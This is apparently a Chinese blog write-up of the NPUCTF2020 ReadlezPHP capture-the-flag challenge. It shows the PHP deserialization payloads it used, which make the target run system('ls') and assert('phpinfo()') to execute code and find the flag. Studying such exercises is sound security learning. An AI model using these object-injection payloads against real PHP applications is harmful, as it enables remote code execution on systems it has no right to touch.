当前位置:网站首页>[NPUCTF2020]ReadlezPHP 1
[NPUCTF2020]ReadlezPHP 1
2022-07-27 05:04:00 【weixin_53150482】
每周学习总结
打开网页:

没有任何可以利用的点,查看源代码:
在最下面发现这样一段话,点击发现源代码:
很明显代码审计,因为代码很简单就不做过多的赘述,这直接的思路就是反序列化,这里的思路就是将 $b 赋值为 system 之类的,将 $a 赋值为执行的命令
所以我们开始编写 payload, 我们可以想到的执行命令的就是 system 和 eval,所以这里我们先使用 system 进行目录遍历:<?php class HelloPhp { public $a="ls"; public $b=system; } $c = new HelloPhp; $b = serialize($c); echo $b; ?>O:8:“HelloPhp”:2:{s:1:“a”;s:2:“ls”;s:1:“b”;s:6:“system”;}
显示内容:
这就不对了,可能是过滤了,所以我们换一个 eval 试一下 ,因为这个是执行 php 代码所以我们先试一下 phpinfo() :
连输出都没有了,肯定不行了,这下搞个什么,看看 别人的 wp他们使用的 assert ,这个不是断言吗?但是它会通过执行第一个参数来判断后续步骤,也可以
构造 payload:O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

在当前页面寻找 flag 就可以找到
总结
- 这一关告诉我们在 PHP 中执行代码有 sysytem() eval() assert()
- 关于 assert() 的另一道题 :攻防世界-mfw
边栏推荐
猜你喜欢

Looking at the PK of alphago and Li Shishi from a deep perspective

初识C语言——常见的数据类型

Elment UI usage

Apache SSI 远程命令执行漏洞

node 安装调试

一本通1329 细胞(广度优先搜索)

初识C语言——为什么每个C程序都有一个main函数

First knowledge of C language -- what is C language

C language elementary level -- branch statement (if, switch)

Hi3516dv300 environment setup
随机推荐
登录到主页功能实现
一本通1319——排队接水
js进阶知识—函数
初始C语言——关键字static的作用
OSI七层模型和TCP/IP四层(TCP与UDP)(笔记)
[codeworks round 801 div2 D tree queries] tree greedy conclusion
JS中如何判断一个属性是属于实例对象还是继承于构造函数
初识C语言——字符串+转义字符+注释
Introduction to C language pointer
用户-注册-登录
小米商城项目_注册
Logic of image uploading
[codeforces round 800 D question fake plastic trees] greedy on the tree
用户页面管理
云E办项目之部门管理
Source code of document type full-text retrieval knowledge base management system
Introduction of C language base conversion and original complement inverse code point operation
First knowledge of C language - why does every C program have a main function
正则表达式
C language makes a small maze